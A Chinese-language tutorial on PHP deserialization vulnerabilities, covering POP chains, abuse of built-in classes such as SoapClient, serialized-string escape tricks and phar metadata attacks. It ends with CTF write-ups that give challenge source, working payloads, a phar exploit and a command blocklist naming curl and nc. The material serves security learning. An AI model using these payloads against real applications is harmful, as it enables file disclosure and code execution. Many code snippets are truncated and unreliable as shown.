PHP反序列化漏洞详解

  1. 黑客安全网-互联网安全媒体信息综合平台首页
  2. 分类阅读
  3. WEB安全

PHP反序列化漏洞详解

网络整理 WEB安全 阅读 9

PHP反序列化

因笔者水平有限,若某处有误,还请斧正。

一、基础

为方便存储、转移对象,将对象转化为字符串的操作叫做序列化;将对象转化的字符串恢复成对象的过程叫做反序列化。

php中的序列化与反序列化函数分别为:serialize()、unserialize()

  " . serialize($a)."n"; ?> //运行结果 serialize  ->  O:4:"azhe":3:{s:2:"iq";s:3:"200";s:2:"eq";i:300;s:8:"azhepr";s:6:"4ut15m";} 将结果进行url编码如下 O%3A4%3A%22azhe%22%3A3%3A%7Bs%3A2%3A%22iq%22%3Bs%3A3%3A%22200%22%3Bs%3A2%3A%22eq%22%3Bi%3A300%3Bs%3A8%3A%22%00azhe%00pr%22%3Bs%3A6%3A%224ut15m%22%3B%7D 

序列化后的结果可分为几类

类型:d   ->d代表一个整型数字 O:d -> 对象  ->d代表该对象类型的长度,例如上述的azhe类对象长度为4,原生类对象Error长度为5 a:d -> 数组  ->d代表数组内部元素数量,例如array('a'=>'b','x'=>1)有两个元素 s:d -> 字符串  -dN代表字符串长度,例如abc序列化后为s:3:"abc"; i:d -> 整型  ->d代表整型变量的值,例如300序列化后的值则为i:300;  a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string 

php的session存储的也是序列化后的结果

PHP反序列化漏洞详解

二、序列化引擎

php对session的处理有三种引擎分别为php、php_serialize、php_binary.经过这三者处理后的session结构都不相同。

php_serialize ->与serialize函数序列化后的结果一致 php    ->key|serialize后的结果 php_binary  ->键名的长度对应的ascii字符+键名+serialize()函数序列化的值  默认使用php引擎 

使用php引擎的结果见上图

使用php_serialize引擎的结果如下

PHP反序列化漏洞详解

使用php_binary引擎的结果如下

PHP反序列化漏洞详解

其中存在不可见字符,将结果进行URL编码如下

PHP反序列化漏洞详解

在session文件可写的情况下,可手动写入我们想要的内容,例如

<?php ini_set('open_basedir','/var/www/html'); session_save_path('/var/www/html'); session_start(); highlight_file(__FILE__); include "flag.php";  $banner = "--4ut15m--n";  if($_SESSION['name']==='admin'){     echo $flag."
"; }else if(isset($_GET['name']) && isset($_GET['content'])){ if(preg_match('/ph/i',$_GET['name'])){ var_dump($_GET['name']); die('over'); }else file_put_contents('/var/www/html/'.$_GET['name'],$banner . $_GET['content']); } ?>

该题目中可任意文件写,故写入session文件构造name=admin.payload=|s:3:"xxx";name|s:5:"admin";

PHP反序列化漏洞详解

简单说一下payload.

banner和payload拼接在一起后变为--4ut15m--n|s:3:"xxx";name|s:5:"admin";经php序列化引擎反序列化后就成为了

$_SESSION=['--4ut15m--n' => 'xxx', 'name' => 'admin']

三、魔术方法

满足一定条件自动调用的方法即为魔术方法,常见魔术方法及触发条件如下

__wakeup() //使用unserialize时触发 __sleep() //使用serialize时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当脚本尝试将对象调用为函数时触发 
ed; $superman->eval(); ?> //运行结果 正在实例化Superman类,这是__construct的echo 你想访问ed属性,但是Superman没有这个属性,这是__get的echo 你想调用eval方法,但是Superman没有这个方法,这是__call的echo 正在销毁Superman对象,这是__destruct的echo 

四、反序列化漏洞

当程序中存在反序列化可控点时,造成该漏洞,可通过程序中存在的类和php原生类构造pop链达成攻击。

file = "index.php";     }     function __destruct(){         echo file_get_contents($this->file);     } }  unserialize($_GET['file']); ?> 

PHP反序列化漏洞详解

又例如

name = "4ut15m";     }     function __destruct(){         echo $this->name;     } }  class wow{     public $wuhusihai = "";      function __construct(){         $this->wuhusihai = "wuwuwu";     }     function __toString(){         $this->wuhusihai->b();         return "ok";     } }  class fine{     public $code = "";      function __call($key,$value){         @eval($this->code);     } }  unserialize($_GET['payload']); ?> 

pop链为hit->__destruct() —-> wow->__toString() —-> fine->__call(),构造payload

PHP反序列化漏洞详解

PHP反序列化漏洞详解

4.1 原生类利用

l3m0n文章

原生类即是php内置类,查看拥有所需魔术方法的类如下

 

结果如下

Exception::__wakeup Exception::__toString ErrorException::__wakeup ErrorException::__toString Generator::__wakeup DateTime::__wakeup DateTime::__set_state DateTimeImmutable::__wakeup DateTimeImmutable::__set_state DateTimeZone::__wakeup DateTimeZone::__set_state DateInterval::__wakeup DateInterval::__set_state DatePeriod::__wakeup DatePeriod::__set_state LogicException::__wakeup LogicException::__toString BadFunctionCallException::__wakeup BadFunctionCallException::__toString BadMethodCallException::__wakeup BadMethodCallException::__toString DomainException::__wakeup DomainException::__toString InvalidArgumentException::__wakeup InvalidArgumentException::__toString LengthException::__wakeup LengthException::__toString OutOfRangeException::__wakeup OutOfRangeException::__toString RuntimeException::__wakeup RuntimeException::__toString OutOfBoundsException::__wakeup OutOfBoundsException::__toString OverflowException::__wakeup OverflowException::__toString RangeException::__wakeup RangeException::__toString UnderflowException::__wakeup UnderflowException::__toString UnexpectedValueException::__wakeup UnexpectedValueException::__toString CachingIterator::__toString RecursiveCachingIterator::__toString SplFileInfo::__toString DirectoryIterator::__toString FilesystemIterator::__toString RecursiveDirectoryIterator::__toString GlobIterator::__toString SplFileObject::__toString SplTempFileObject::__toString SplFixedArray::__wakeup ReflectionException::__wakeup ReflectionException::__toString ReflectionFunctionAbstract::__toString ReflectionFunction::__toString ReflectionParameter::__toString ReflectionMethod::__toString ReflectionClass::__toString ReflectionObject::__toString ReflectionProperty::__toString ReflectionExtension::__toString ReflectionZendExtension::__toString DOMException::__wakeup DOMException::__toString PDOException::__wakeup PDOException::__toString PDO::__wakeup PDOStatement::__wakeup SimpleXMLElement::__toString SimpleXMLIterator::__toString PharException::__wakeup PharException::__toString Phar::__destruct Phar::__toString PharData::__destruct PharData::__toString PharFileInfo::__destruct PharFileInfo::__toString CURLFile::__wakeup mysqli_sql_exception::__wakeup mysqli_sql_exception::__toString SoapClient::__call SoapFault::__toString SoapFault::__wakeup  

Error

PHP反序列化漏洞详解

将Error对象以字符串输出时会触发__toString,构造message可xss

PHP反序列化漏洞详解

异常类大多都可以如此利用

SoapClient

__call方法可用

'http://vps:port','location'=>'http://vps:port/')); #echo serialize($a); $a->azhe(); //还可以设置user_agent,user_agent处可通过CRLF注入恶意请求头 ?> 

PHP反序列化漏洞详解

4.2 反序列化字符逃逸

序列化字符串内容可控情况下,若服务端存在替换序列化字符串中敏感字符操作,则可能造成反序列化字符逃逸。

序列化字符串字符增加

id = "100"; $taoyi->name = $name; $haha = filter(serialize($taoyi)); echo "haha  --> {$haha} 
"; @$haha = unserialize($haha); if($haha->id === '3333'){ echo $flag; } ?>

$taoyi->id被限定为100,但是$taoyi->name可控并且$taoyi对象被序列化后会经过filter函数处理,将敏感词QAQ替换为wuwu,而我们需要使最后的$haha->id='3333'.

正常传值name=4ut15m,结果为O:5:"Taoyi":2:{s:4:"name";s:6:"4ut15m";s:2:"id";s:3:"100";} 传递包含敏感词的值name=4ut15mQAQ,结果为O:5:"Taoyi":2:{s:4:"name";s:9:"4ut15mwuwu";s:2:"id";s:3:"100";} 可以看见s:4:"name";s:9:"4ut15mwuwu";这里4ut15mwuwu的长度为10,和前面的s:9对不上,所以会反序列化失败。  这里构造一个payload去闭合双引号,name=4ut15mQAQ",结果为O:5:"Taoyi":2:{s:4:"name";s:10:"4ut15mwuwu"";s:2:"id";s:3:"100";} 可以看见s:10:"4ut15mwuwu"";其中s:10所对应的字符串为4ut15mwuwu,也即是我们输入的双引号闭合了前面的双引号,而序列化自带的双引号则成为了多余的双引号。  我们每输入一个敏感字符串都可以逃逸一个字符(上面输入了一个QAQ,所以可以逃逸出一个双引号去闭合前面的双引号)。  故我们可以通过构造payload使得我们能够控制id的值,达到对象逃逸的效果。 如下图 

PHP反序列化漏洞详解

payload为name=4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:4:"3333";}

payload构造思路 先明确需要逃逸的字符串及其长度,在此即为";s:2:"id";s:4:"3333";}长度为23,需要逃逸23个字符,所以加入23个QAQ即可满足条件. 

序列化字符串字符减少

id = "100"; $taoyi->xixi = $xixi; $taoyi->name = $name; $haha = filter(serialize($taoyi)); echo "haha  --> {$haha} 
"; @$haha = unserialize($haha); if($haha->id === '3333'){ echo $flag; } ?>

序列化字符串减少的情况,需要序列化字符串有至少两处可控点.这里是将敏感词wuwu替换为QAQ。

正常传值name=4ut15m&xixi=1234,结果为O:5:"Taoyi":3:{s:4:"name";s:6:"4ut15m";s:2:"id";s:3:"100";s:4:"xixi";s:4:"1234";} 第一个可控点name作为逃逸点,第二个可控点xixi作为逃逸对象所在点. 因为需要逃逸的属性id在xixi的前面,故需要通过在name处构造payload将属性id对应的字符串吞没. 测试传值name=4ut15mwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwu&xixi=1234 结果为O:5:"Taoyi":3:{s:4:"name";s:82:"4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:3:"100";s:4:"xixi";s:4:"1234";} 可以看到替换后s:82对应的字符串为4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:3:"100 故替换后只剩两个属性name与xixi.同样的道理可以用在属性xixi上,如果不吞没属性xixi,那么在xixi处传递的数据会作为xixi的值,仍旧无法达到效果。 只要将id与xixi都吞没,就可以在xixi处传递参数重新构造这两个属性值。 如下 

PHP反序列化漏洞详解

payload为name=4ut15mwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwu&xixi=";s:2:"id";s:4:"3333";s:4:"xixi";s:1:"x";}

payload构造思路 先明确需要逃逸的字符串,";s:2:"id";s:4:"3333";s:4:"xixi";s:1:"x";},再确认逃逸字符串字符串之前需要吞没的字符串的长度,在此为";s:2:"id";s:3:"100";s:4:"xixi";s:42:" 长度为38 每一个wuwu可以吞没一个字符,所以需要38个wuwu去吞没这个字符串。 

4.3 PHAR协议利用

phar文件是php的打包文件,在php.ini中可以通过设置phar.readonly来控制phar文件是否为只读,若非只读(phar.readonly=Off)则可以生成phar文件.

PHP反序列化漏洞详解

phar文件结构

四部分,stub、manifest、contents、signature

1.stub phar文件标志,必须包含,PHP结束标志?>可以省略,但语句结束符;与stub的结尾之间不能超过两个空格。在生成phar之前应先添加stub.之前也可添加其他内容伪造成其他文件,比如GIF89a  2.manifest 存放phar归档信息.Manifest结构如下图  所有未使用的标志保留,供将来使用,并且不得用于存储自定义信息。使用每个文件的元数据功能来存储有关特定文件的自定义信息. 

PHP反序列化漏洞详解

phar反序列化触发函数

php中的大部分与文件操作相关函数在通过phar协议获取数据时会将phar文件的meta-data部分反序列化

fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile 

生成phar文件例子如下

startBuffering();          //开启缓冲区 $phar->setStub("");     //设置stub $test = new pharfile(); $phar->setMetadata($test);          //设置metadata,这一部分数据会被序列化 $phar->addFromString("azhe.txt",'test');      //添加压缩文件  $phar->stopBuffering();           //关闭缓冲区  ?> 

PHP反序列化漏洞详解

4.4 PHP引用

&在php中是位运算符也是引用符(&&为逻辑运算符).&可以使不同名变量指向同一个值,类似于C中的地址。

PHP反序列化漏洞详解

PHP反序列化漏洞详解

倘若出现下述情况,即可使用引用符

one = "azhe";     } }  $a = @unserialize($_GET['payload']); $a->two = $flag;  if($a->one === $a->two){     echo "flag is here:$flag"; } ?> 

PHP反序列化漏洞详解

这里的__wakeup是不需要绕过的,$a->one引用了$a->two后这两者的值一定会相等,不管谁做了改变。

序列化结果中的R:2;即是引用.

五、BUGKU

安慰奖

算是反序列化入门题吧

index.php中发现提示

PHP反序列化漏洞详解

下载备份文件index.php.bak,审计

<?php header("Content-Type: text/html;charset=utf-8"); error_reporting(0); echo ""; class ctf {     protected $username = 'hack';     protected $cmd = 'NULL';     public function __construct($username,$cmd)     {         $this->username = $username;         $this->cmd = $cmd;     }     function __wakeup()     {         $this->username = 'guest';     }      function __destruct()     {         if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))         {             exit('flag能让你这么容易拿到吗?
'); } if ($this->username === 'admin') { // echo "
right!
"; $a = `$this->cmd`; var_dump($a); }else { echo "给你个安慰奖吧,hhh!"; die(); } } } $select = $_GET['code']; $res=unserialize(@$select); ?>

直接编写exp
PHP反序列化漏洞详解

禁用了一些文件读取命令,曲线救国如下

PHP反序列化漏洞详解

六、BUUCTF

ZJCTF 2019 NiZhuanSiWei

源码

<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){     echo "

".file_get_contents($text,'r')."

"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); }![image-20201204165807234.png](https://image.3001.net/images/20210218/1613636557_602e23cd4fca4536c1e47.png!small) ?> //考点: 基本的反序列化漏洞,php伪协议的利用

第一层if通过php://input满足,file通过php://filter读取useless.php

PHP反序列化漏洞详解

//useless.php file)){               echo file_get_contents($this->file);              echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

payload构造

创建一个Flag对象,使得该对象的file属性为flag.php 提交序列化字符串即可 

PHP反序列化漏洞详解

PHP反序列化漏洞详解

MRCTF2020 Ezpop

append($this->var);     } }  class Show{     public $source;     public $str;     public function __construct($file='index.php'){         $this->source = $file;         echo 'Welcome to '.$this->source."
"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); } //考点: 基本的序列化pop链构造

payload构造

思路:1.需要将Modifier的对象当作函数调用 2.需要将Show的对象当作字符串处理 3.需要调用Test对象中不存在的属性 preg_match是处理字符串的,当使得一个Show1->source为Show2对象时,可调用Show2的__toString.而该魔术方法调用$this->str->source,若使得该对象的source为Test对象,则可触发Test对象的__get方法,在Test对象的__get方法中又可构造使得将一个Modifier类当作函数调用,触发__invoke.  payload如下 

PHP反序列化漏洞详解

PHP反序列化漏洞详解

CISCN2019 Day1 Web1 Dropbox

注册账号登录后,在下载功能处发现任意文件下载,扒取源码如下

//index.php         网盘管理                                          
Name(); $a->Size(); ?>
//login.php                 登录                 .bd-placeholder-img {       font-size: 1.125rem;       text-anchor: middle;     }      @media (min-width: 768px) {       .bd-placeholder-img-lg {         font-size: 3.5rem;       }     }                    

登录

还没有账号? 注册

© 2018-2019

<?php include "class.php"; if (isset($_GET['register'])) { echo "toast('注册成功', 'info');"; } if (isset($_POST["username"]) && isset($_POST["password"])) { $u = new User(); $username = (string) $_POST["username"]; $password = (string) $_POST["password"]; if (strlen($username) verify_user($username, $password)) { $_SESSION['login'] = true; $_SESSION['username'] = htmlentities($username); $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/"; if (!is_dir($sandbox)) { mkdir($sandbox); } $_SESSION['sandbox'] = $sandbox; echo("window.location.href='index.php';"); die(); } echo "toast('账号或密码错误', 'warning');"; } ?>
//download.php <?php session_start(); if (!isset($_SESSION['login'])) {     header("Location: login.php");     die(); }  if (!isset($_POST['filename'])) {     die(); }  include "class.php"; ini_set("open_basedir", getcwd() . ":/etc:/tmp");  chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) open($filename) && stristr($filename, "flag") === false) {     Header("Content-type: application/octet-stream");     Header("Content-Disposition: attachment; filename=" . basename($filename));     echo $file->close(); } else {     echo "File not exist"; } ?> 
//delete.php <?php session_start(); if (!isset($_SESSION['login'])) {     header("Location: login.php");     die(); }  if (!isset($_POST['filename'])) {     die(); }  include "class.php";  chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) open($filename)) {     $file->detele();     Header("Content-type: application/json");     $response = array("success" => true, "error" => "");     echo json_encode($response); } else {     Header("Content-type: application/json");     $response = array("success" => false, "error" => "File not exist");     echo json_encode($response); } ?> 
//upload.php  false, "error" => "Only gif/jpg/png allowed");             Header("Content-type: application/json");             echo json_encode($response);             die();     }      if (strlen($filename)  true, "error" => "");         Header("Content-type: application/json");         echo json_encode($response);     } else {         $response = array("success" => false, "error" => "Invaild filename");         Header("Content-type: application/json");         echo json_encode($response);     } } ?> 
//class.php db = $db;     }      public function user_exist($username) {         $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");         $stmt->bind_param("s", $username);         $stmt->execute();         $stmt->store_result();         $count = $stmt->num_rows;         if ($count === 0) {             return false;         }         return true;     }      public function add_user($username, $password) {         if ($this->user_exist($username)) {             return false;         }         $password = sha1($password . "SiAchGHmFx");         $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");         $stmt->bind_param("ss", $username, $password);         $stmt->execute();         return true;     }      public function verify_user($username, $password) {         if (!$this->user_exist($username)) {             return false;         }         $password = sha1($password . "SiAchGHmFx");         $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");         $stmt->bind_param("s", $username);         $stmt->execute();         $stmt->bind_result($expect);         $stmt->fetch();         if (isset($expect) && $expect === $password) {             return true;         }         return false;     }      public function __destruct() {         $this->db->close();     } }  class FileList {     private $files;     private $results;     private $funcs;      public function __construct($path) {         $this->files = array();         $this->results = array();         $this->funcs = array();         $filenames = scandir($path);          $key = array_search(".", $filenames);         unset($filenames[$key]);         $key = array_search("..", $filenames);         unset($filenames[$key]);          foreach ($filenames as $filename) {             $file = new File();             $file->open($path . $filename);             array_push($this->files, $file);             $this->results[$file->name()] = array();         }     }      public function __call($func, $args) {         array_push($this->funcs, $func);         foreach ($this->files as $file) {             $this->results[$file->name()][$func] = $file->$func();         }     }      public function __destruct() {         $table = '
'; $table .= ''; foreach ($this->funcs as $func) { $table .= ''; } $table .= ''; $table .= ''; foreach ($this->results as $filename => $result) { $table .= ''; foreach ($result as $func => $value) { $table .= ''; } $table .= ''; $table .= ''; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i filename); } public function close() { return file_get_contents($this->filename); } } ?>

先分析类文件,User类存在__destruct魔术方法,并且在其中调用$this->db->close(),再一看File类,刚好有close方法,但是User的__destruct中并未输出结果。再看FileList类,其中存在__call__destruct.__call方法首先将调用的不存在函数$func放至FileList->funcs数组尾部,而后遍历FileList->files并且调用FileList->files->$func(),执行结果会被赋值给FileList->result.FileList->__destruct方法输出result的结果。

很常规,该题POP链很好构造。User->__destruct --> FileList->__call --> File->close() --> FileList->__destruct

在delete.php中找到程序反序列化触发点

PHP反序列化漏洞详解

跟进detele方法

PHP反序列化漏洞详解

unlink是个文件操作函数,可以通过phar协议进行反序列化。程序可以上传图片,故生成phar文件修改后缀上传,在删除功能处触发反序列化即可(经测试,flag文件为/flag.txt)。

exp如下

db = new FileList();  } }  class FileList{  private $files;  private $results;  private $funcs;   public function __construct(){   $this->files = array(new File());   $this->results;   $this->funcs;  } }  class File{  public $filename = "../../../../../../flag.txt"; }  $a = new User(); $phar = new Phar('4ut15m.phar'); $phar->startBuffering(); $phar->setStub(''); $phar->setMetadata($a); $phar->addFromString('azhe.txt','4ut15m');  $phar->stopBuffering();  ?> 

PHP反序列化漏洞详解

网鼎杯 2020 青龙组 AreUSerialz

process();     }      public function process() {         if($this->op == "1") {             $this->write();         } else if($this->op == "2") {             $res = $this->read();             $this->output($res);         } else {             $this->output("Bad Hacker!");         }     }      private function write() {         if(isset($this->filename) && isset($this->content)) {             if(strlen((string)$this->content) > 100) {                 $this->output("Too long!");                 die();             }             $res = file_put_contents($this->filename, $this->content);             if($res) $this->output("Successful!");             else $this->output("Failed!");         } else {             $this->output("Failed!");         }     }      private function read() {         $res = "";         if(isset($this->filename)) {             $res = file_get_contents($this->filename);         }         return $res;     }      private function output($s) {         echo "[Result]: 
"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i = 32 && ord($s[$i])

程序只允许使用ascii码在32-125范围内的字符,满足条件就反序列化。

process方法中规定,当op=="2"时可以读取$filename文件,op=="1"时可以写入文件.

析构函数中规定,当op==="2"时使得op="1".

综上可知,当使得op !=="2"但op =="2"时,可以读取文件。构造op=2可满足条件

PHP反序列化漏洞详解

payload构造

因为要读取flag.php,所以使得filename='flag.php';因为要执行读取操作,所以使得op=2 类的private或protected属性在序列化后存在不可见字符,不可见字符不在可使用字符范围内(如若可用则需要将序列化后的字符串进行编码),我们可以手动修改protected属性为public属性,硬核过is_valid 

PHP反序列化漏洞详解

PHP反序列化漏洞详解

0CTF 2016 piapiapia

发现www.zip,获得源码

//index.php <?php require_once('class.php');  if($_SESSION['username']) {   header('Location: profile.php');   exit;  }  if($_POST['username'] && $_POST['password']) {   $username = $_POST['username'];   $password = $_POST['password'];    if(strlen($username)  16)     die('Invalid user name');    if(strlen($password)  16)     die('Invalid password');    if($user->login($username, $password)) {    $_SESSION['username'] = $username;    header('Location: profile.php');    exit;    }   else {    die('Invalid user name or password');   }  }  else { ?>       Login                
PHP反序列化漏洞详解

Login

//profile.php show_profile($username);  if($profile  == null) {   header('Location: update.php');  }  else {   $profile = unserialize($profile);   $phone = $profile['phone'];   $email = $profile['email'];   $nickname = $profile['nickname'];   $photo = base64_encode(file_get_contents($profile['photo'])); ?>       Profile                
PHP反序列化漏洞详解

Hi

//register.php <?php require_once('class.php');  if($_POST['username'] && $_POST['password']) {   $username = $_POST['username'];   $password = $_POST['password'];    if(strlen($username)  16)     die('Invalid user name');    if(strlen($password)  16)     die('Invalid password');   if(!$user->is_exists($username)) {    $user->register($username, $password);    echo 'Register OK!Please Login';     }   else {    die('User name Already Exists');   }  }  else { ?>       Login                
PHP反序列化漏洞详解

Register

//update.php  10)    die('Invalid nickname');    $file = $_FILES['photo'];   if($file['size']  1000000)    die('Photo size error');    move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));   $profile['phone'] = $_POST['phone'];   $profile['email'] = $_POST['email'];   $profile['nickname'] = $_POST['nickname'];   $profile['photo'] = 'upload/' . md5($file['name']);    $user->update_profile($username, serialize($profile));   echo 'Update Profile Success!Your Profile';  }  else { ?>       UPDATE                
PHP反序列化漏洞详解

Please Update Your Profile

//class.php table, $where);  }  public function register($username, $password) {   $username = parent::filter($username);   $password = parent::filter($password);    $key_list = Array('username', 'password');   $value_list = Array($username, md5($password));   return parent::insert($this->table, $key_list, $value_list);  }  public function login($username, $password) {   $username = parent::filter($username);   $password = parent::filter($password);    $where = "username = '$username'";   $object = parent::select($this->table, $where);   if ($object && $object->password === md5($password)) {    return true;   } else {    return false;   }  }  public function show_profile($username) {   $username = parent::filter($username);    $where = "username = '$username'";   $object = parent::select($this->table, $where);   return $object->profile;  }  public function update_profile($username, $new_profile) {   $username = parent::filter($username);   $new_profile = parent::filter($new_profile);    $where = "username = '$username'";   return parent::update($this->table, 'profile', $new_profile, $where);  }  public function __tostring() {   return __class__;  } }  class mysql {  private $link = null;   public function connect($config) {   $this->link = mysql_connect(    $config['hostname'],    $config['username'],     $config['password']   );   mysql_select_db($config['database']);   mysql_query("SET sql_mode='strict_all_tables'");    return $this->link;  }   public function select($table, $where, $ret = '*') {   $sql = "SELECT $ret FROM $table WHERE $where";   $result = mysql_query($sql, $this->link);   return mysql_fetch_object($result);  }   public function insert($table, $key_list, $value_list) {   $key = implode(',', $key_list);   $value = ''' . implode('','', $value_list) . ''';    $sql = "INSERT INTO $table ($key) VALUES ($value)";   return mysql_query($sql);  }   public function update($table, $key, $value, $where) {   $sql = "UPDATE $table SET $key = '$value' WHERE $where";   return mysql_query($sql);  }   public function filter($string) {   $escape = array(''', '');   $escape = '/' . implode('|', $escape) . '/';   $string = preg_replace($escape, '_', $string);    $safe = array('select', 'insert', 'update', 'delete', 'where');   $safe = '/' . implode('|', $safe) . '/i';   return preg_replace($safe, 'hacker', $string);  }  public function __tostring() {   return __class__;  } } session_start(); $user = new user(); $user->connect($config); 
//config.php  //考点: 序列化字符串字符增加的反序列化 

代码审计过后,发现序列化(update.php)与反序列化(profile.php)的点

PHP反序列化漏洞详解

PHP反序列化漏洞详解

过滤函数filter(class.php)如下

PHP反序列化漏洞详解

在profile.php第16行代码中,可以看到有读取文件的操作,结合前面的序列化,可以知道这里可以逃逸photo,控制photo为想要读取的文件名再访问profile.php文件即可。

phone与email的限制很严,无法绕过,可以看见在nickname参数中我们能够输入一切我们想输入的字符(";:等).只要能够使得后半段if判断通过,即可。

strlen函数在判断数组时会返回null,而null在与整型数字判断时会返回false,故构造nickname为数组即可绕过nickname的if判断

PHP反序列化漏洞详解

payload构造

正常序列化结果如下 $profile['phone'] = '12345678911'; $profile['email'] = [email protected]'; $profile['nickname'] = ['wuhusihai']; $profile['photo'] = 'upload/123456';  a:4:{s:5:"phone";s:11:"12345678911";s:5:"email";s:15:"[email protected]";s:8:"nickname";a:1:{i:0;s:9:"wuhusihai";}s:5:"photo";s:13:"upload/123456";}  明确需要逃逸的字符串为";}s:5:"photo";s:10:"config.php";},长度为34,故需要34个敏感词where来完成逃逸 构造payload再序列化查看结果 $profile['phone'] = '12345678911'; $profile['email'] = [email protected]'; $profile['nickname'] = ['wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}']; $profile['photo'] = 'upload/123456';  a:4:{s:5:"phone";s:11:"12345678911";s:5:"email";s:15:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:13:"upload/123456";}  PS:可通过校验hacker字符串的长度是否为204来判断是否正确,也可在本地进行反序列化,看能否正常反序列化 

PHP反序列化漏洞详解

提交payload

PHP反序列化漏洞详解

访问profile.php

PHP反序列化漏洞详解

解码

PHP反序列化漏洞详解

安洵杯 2019 easy_serialize_php

源码

<?php $function = @$_GET['f'];  function filter($img){     $filter_arr = array('php','flag','php5','php4','fl1g');     $filter = '/'.implode('|',$filter_arr).'/i';     return preg_replace($filter,'',$img); }   if($_SESSION){     unset($_SESSION); }  $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function;  extract($_POST);  if(!$function){     echo 'source_code'; }  if(!$_GET['img_path']){     $_SESSION['img'] = base64_encode('guest_img.png'); }else{     $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); }  $serialize_info = filter(serialize($_SESSION));  if($function == 'highlight_file'){     highlight_file('index.php'); }else if($function == 'phpinfo'){     eval('phpinfo();'); //maybe you can find something in here!-> 查看phpinfo后可知flag文件d0g3_f1ag.php }else if($function == 'show_image'){     $userinfo = unserialize($serialize_info);     echo file_get_contents(base64_decode($userinfo['img'])); }  //考点: 序列化字符串字符减少的反序列化,extract变量覆盖 

通过extract可覆盖全局变量$_SESSION进一步可控制序列化结果中的user与function,两处可控并且filter会减少序列化字符串字符数,进一步逃逸对象

payload为GET-> f=show_image POST-> _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

PHP反序列化漏洞详解

payload构造思路 首先构造需要逃逸的字符串 ";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";},查看序列化后的字符串为 a:3:{s:4:"user";s:0:"";s:8:"function";s:70:"";s:8:"function";s:10:"show_image";s:3:"img";s:16:"L2V0Yy9wYXNzd2Q=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} 查看需要吞没的字符串长度";s:8:"function";s:70:",长度为23,根据filter函数可知,关键词php可吞没3个字符,flag可吞没4个字符,即构造flag*5+php -> flagflagflagflagflagphp 二者结合可得 _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";} 

bestphp's revenge

 //考点: php原生类反序列化 

访问flag.php,发现

PHP反序列化漏洞详解

